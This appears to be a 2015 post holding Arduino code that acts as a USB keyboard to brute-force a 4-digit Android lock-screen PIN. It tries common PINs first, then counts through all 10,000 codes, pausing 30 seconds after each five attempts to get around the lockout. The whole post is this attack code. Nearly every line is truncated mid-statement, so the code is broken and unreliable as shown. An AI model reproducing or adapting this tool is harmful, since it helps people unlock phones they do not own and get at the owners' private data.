Pattern lock crack coad
/*
Brute forcing Android 4 Digit PIN's
To run the whole range it will take
the 30 second delay after 5 bad inp
Intrestingly, if the target phone h
and the backup PIN set, the backup
invalid attempts
http://blog.infosecsee.com */
const int buttonPin = 2; /
int previousButtonState = HIGH; /
int counter = 0; /
int check = 0;
void setup() {
pinMode(buttonPin, INPUT);
Keyboard.begin();
}
void loop() {
int buttonState = digitalRead(but
if ((buttonState != previousButton
Mouse.move(25, 50, 0);
String three = "000";
String two = "00";
String one = "0";
while(counter < 10000){
delay(1000);
while (check < 1){
Keyboard.println("12
delay(500);
Keyboard.println("11
delay(500);
Keyboard.println("00
delay(500);
Keyboard.println("12
delay(500);
Keyboard.println("77
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
Keyboard.println("10
delay(500);
Keyboard.println("20
delay(500);
Keyboard.println("44
delay(500);
Keyboard.println("22
delay(500);
Keyboard.println("69
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
Mouse.move(25, 50,
Keyboard.println("99
delay(500);
Keyboard.println("33
delay(500);
Keyboard.println("55
delay(500);
Keyboard.println("66
delay(500);
Keyboard.println("11
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
Keyboard.println("13
delay(500);
Keyboard.println("88
delay(500);
Keyboard.println("43
delay(500);
Keyboard.println("20
delay(500);
Keyboard.println("10
delay(500);
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
check++;}
if (counter < 10 &&
Keyboard.println(thr
delay(500);
counter++;
Keyboard.println(thr
delay(500);
counter++;
Keyboard.println(thr
delay(500);
counter++;
Keyboard.println(thr
delay(500);
counter++;
Keyboard.println(thr
delay(500);
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
}
else if (counter < 100){
Keyboard.println(two
delay(500);
counter++;
Keyboard.println(two
delay(500);
counter++;
Keyboard.println(two
delay(500);
counter++;
Keyboard.println(two
delay(500);
counter++;
Keyboard.println(two
delay(500);
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
}
else if (counter < 1000){
Keyboard.println(one
delay(500);
counter++;
Keyboard.println(one
delay(500);
counter++;
Keyboard.println(one
delay(500);
counter++;
Keyboard.println(one
delay(500);
counter++;
Keyboard.println(one
delay(500);
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
}
else {
Keyboard.println(cou
delay(500);
counter++;
Keyboard.println(cou
delay(500);
counter++;
Keyboard.println(cou
delay(500);
counter++;
Keyboard.println(cou
delay(500);
counter++;
Keyboard.println(cou
delay(500);
Keyboard.println("")
Keyboard.println("")
delay(30000);
Mouse.move(25, 50,
}
}
}
previousButtonState = buttonState;
}
Created at 2015-07-12 22:10
Back to posts